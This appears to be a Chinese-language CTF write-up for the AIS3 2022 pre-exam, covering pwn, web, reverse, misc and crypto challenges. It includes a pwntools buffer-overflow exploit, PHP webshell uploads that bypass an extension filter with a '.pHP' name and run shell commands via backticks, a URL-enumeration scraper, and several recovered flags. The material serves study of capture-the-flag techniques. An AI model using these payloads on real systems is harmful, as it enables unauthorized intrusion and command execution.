# AIS3 pre-exam 2022 Writeup ###### tags: `CTF` ------ - Welcome -  ### Pwn - SAAS - Crash -  隨便按按就出來了,我真的不懂為什麼 - BOF2WIN - 題目都說BOF了 - 找出get_the_flag()的位置 - 用objdump  ```python= from pwn import * host = "10.113.203.111" port = 12347 evil = 0x401216 r = remote(host, port) r.sendafter("What's your name?", b'A'*0x18 + p64(evil)) r.interactive() ``` -  ### Web - Simple File Uploader - 題目看起來很明顯要我們上傳webshell - 從Source code看到沒擋大小寫、可以用反撇號 - upload.pHP ```php= <?php echo `ls /` ?> ``` -  - upload.pHP ```php= <?php echo `/rUn_M3_t0_9et_fL4g` ?> ``` -  - Poking Bear - 進去後看到東西就先點一點 發現每個熊熊的url有個規律 http://chals1.ais3.org:8987/bear/5 最後的數字是5、29、82...呈現遞增趨勢 SECRET BEAR介於350 ~ 777之間 - 寫個爬蟲 ```python= from webbrowser import Chrome from selenium import webdriver from webdriver_manager.chrome import ChromeDriverManager from selenium.webdriver.chrome.service import Service from selenium.webdriver.common.by import By from selenium.webdriver.common.keys import Keys driver = webdriver.Chrome(service=Service(ChromeDriverManager().install())) url = "http://chals1.ais3.org:8987/bear/" for i in range(427): cnt = str(350 + i) tmp = url + cnt driver.get(tmp) content = driver.find_element(By.CLASS_NAME, 'text-center').text print(cnt) print(content) ``` -  - 成功進入SECRET BEAR後,開戳 -  - 改個cookie -  -  ### Reverse - Time Management - 打開ida看看 -  看起來就是對v4做一頓操作,共48次,那就來看看v4到底印了什麼 不過要看v4要先想辦法越過sleep,sleep的時間有點久 - 把sleep的位置先找出來 -  sleep下面還會執行printf,會把v4印出來 - 接下來開gdb - 用vmmap找出起始記憶體位置 -  -  - 設breakpoint在sleep()和lea rdi,format - 這樣用run會到sleep停下,用jump可以跳過sleep並且會停在breakpoint 2 -  -  可以看到v4被印出來惹,看起來很像FLAG - 就一路continue和jump sleep(),最後就可以得到FLAG - AIS3{You_are_the_master_of_time_management!!!!!} - Calculator - 題目有給標籤 .NET,所以網路上找了個.NET的反編譯軟體ILSpy - 反正就是先把dll全部匯進去打開來看看 - AIS3.dll打開大概長這樣  - 我沒理解錯誤的話,ExportMetadat("Symbol", 'A')應該是代表像是加減乘除的那個符號,Operate的參數left和right就是類似被加數和加數的東西(雖然好像不是很重要) - 然後看看Operate到底在幹嘛 - 先給了一個array,然後中間有對right[]做一些判斷,不符合就exception。 - 最後有個for迴圈的判斷是將right[]裡的某幾個數去做xor某個數,結果不等於array也exception - 判斷式裡給的判斷又是A又是{的,看起來就像FLAG,所以試著把right[]按照判斷要求算出來 - xor的部分網路上找了個計算機算的 大概長這樣  - right[]最後的結果 - IS3{aaaaaaaaaaAaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa - a代表未知數 - 實在是太像FLAG了 - 然後我就把AIS3, AIS33, AIS333, AIS3333所提供的所有資訊列下來 -  - 靠想像力拚出了FLAG - AIS3{D0T_N3T_FRAm3W0rk_15_S0_C0mPlicaT3d__G_G} ### Misc - Excel - 檔案打開來看不出個所以然,想說先用strings跑看看 跑出來的結果前面有一些亂碼,但後面就有些有用的資訊 -  - 看起來是有一些工作表,但沒看到,應該是被隱藏起來了 所以對工作列表右鍵取消隱藏,果然有東西 -  - 工作表一開始看是全空的但仔細看會發現格子裡有東西 所以給他全加個顏色 - 然後在isFki這張工作表裡有個很長的公式  雖然說往下滑可以看到另一個=FORMULA和=RETURN,看起來好像有用,但我不會用,所以我是把公式裡的元素一個一個拉出來,就能得到flag - flag我沒存,上個檔被防毒刪掉了QQ,不想重新拉一次惹,好累 - Gift in the dream - 題目給gif檔,先拿去給imagemagick看看每一幀 -  - 看起來像ASCII,拿去轉換看看 - AIS3{5T3g4n0gR4pHy_c4N_b3_fUn_s0m37iMe} ### Crypto - SC - cipher.py先打開來看 - 下面註解寫了Substitution cipher,合理推測是Substitution cipher - 加密的東西會寫到{file}.enc裡 - cipher.py.enc應該就是cipher.py的加密 - 打開cipher.py.enc,跟cipher.py做對照,比對是怎麼替換的 - 把flag.txt.enc反推回來得到flag - AIS3{s0lving_sub5t1tuti0n_ciph3r_wi7h_kn0wn_p14int3xt_4ttack} - Fast Cipher - cipher.py打開來看 - 會把flag.txt的東西拿去加密 - fast function我看不懂有什麼特別之處 - 用十六進位print出結果 - 總之先拿flag.txt去加密看看 發現內容只要超過7個byte(有時會更少),後面加密結果就會有一定規律 2 hex = 1 byte,每2個hex可以對印到一個字 規律找出來,output.txt反推一下會得到一個類似flag的字串 - XXXXXXXt_every_bits_are_used_lol} - flag合理猜測是AIS3{XXt_every_bits_are_used_lol} - 三個字的英文單字也沒幾個常用的,猜一下就能猜到flag是AIS3{not_every_bits_are_used_lol}
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up